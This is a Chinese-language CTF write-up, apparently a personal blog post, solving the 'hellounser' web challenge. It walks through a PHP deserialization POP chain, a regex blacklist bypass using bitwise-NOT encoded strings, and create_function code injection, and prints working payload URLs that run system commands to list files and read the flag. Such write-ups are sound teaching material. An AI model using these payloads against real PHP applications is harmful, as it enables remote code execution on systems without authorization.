CTF WEB解题 · 浙江工业大学秋季挑战赛hellounser

Aouos 发布于 29 天前 59 次阅读


这是一道基于反序列化构造POP 链的题目

解题过程

一、源码分析

访问靶场,直接获得以下代码

class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}

仔细分析index.php,其中定义了两个类,传输信息为pop字段。

二、POP 链构造

触发入口
$aaa = unserialize($_GET['pop']); $aaa();
→ 把对象当函数调用会触发 __invoke()

链分析

  1. A 类 有 __invoke(),内部执行 $this->show()(即 echo $this->var
  2. 让 A::$var 是一个 B 类对象echo 对象会触发 B::__toString()
  3. B::__toString() 内部调用 $this->show(),进入最终执行区

POP 链
unserialize → A::__invoke → echo B → B::__toString → B::show()
在 B::show() 中,若通过正则检查,会执行 $func('', $this->arg)

三、绕过正则

B::show() 有两个检查:

1. $func 的正则:/^[a-z0-9]*$/isD

  • 要求 $func 不能是纯字母数字,即必须包含下划线、反斜线等其他字符。
  • create_function 天然包含下划线,符合要求。
    还可以使用其他带下划线的函数,如 call_user_func 等。

2. $arg 的黑名单

  • 过滤了大量文件读取关键词(filcatreadflag 等)、特殊字符(引号、反引号、$ 等)、以及 evalinclude 等敏感词。
  • 这里我们用取反绕过,让敏感关键词变成不可见字符的字节流,完全避开正则匹配。

取反绕过也是看的别的大佬的wp才去尝试的

四、create_function 注入

create_function(string $args, string $code) 的内部实现是 eval,通过创建匿名函数来执行代码。其生成的函数体结构为:

function __lambda_func($args) {
    $code;
}

我们可以通过提前闭合 } 来注入任意代码:

return(1);}恶意代码;//
  • return(1);} → 闭合函数体,结束原有函数
  • 恶意代码; → 注入要执行的命令
  • // → 注释掉剩余的花括号

因此,当 $func = 'create_function' 且 $arg = "return(1);}恶意代码;//" 时,实际执行:

create_function('', 'return(1);}恶意代码;//');
// 生成匿名函数:
function __lambda_func() {
    return(1);
}
恶意代码;
//

从而执行任意 PHP 代码。

五、攻击过程

构造pop链来执行代码

?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:28:"return(1);}~%8C%86%8C%8B%9A%92%29%28~%93%8C%29%3B//%22%3B%7D%7D

其中的~%8C%86%8C%8B%9A%92%29%28~%93%8C%29%3B//%22%3B%7D%7D为(~system)(~ls);取反后的内容,用来绕过其中的过滤

使用pop链成功输出文件内容Tru3flag.php flag.php index.php

然后发现Tru3flag.php,感觉更像真正的flag,其实直接读取flag.php会打印出flag{true flag is in Tru3flag.php}

然后用相同的方法构造pop链(者)

?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:42:"return(1);}~%8C%86%8C%8B%9A%92%29%28~%9C%9E%8B%DF%AB%8D%8A%CC%99%93%9E%98%D1%8F%97%8F%29%3B//%22%3B%7D%7D

其中的~%8C%86%8C%8B%9A%92%29%28~%9C%9E%8B%DF%AB%8D%8A%CC%99%93%9E%98%D1%8F%97%8F%29%3B//%22%3B%7D%7D为(~system)(~cat Tru3flag.php);//的取反

最后成功获得flag,f12看一眼就看到了。

总结

这道题综合了 PHP 反序列化、正则绕过、无参数函数调用、create_function 注入等多个技巧,是一道非常经典的 CTF 题目。

全都不会写!
最后更新于 2026-05-19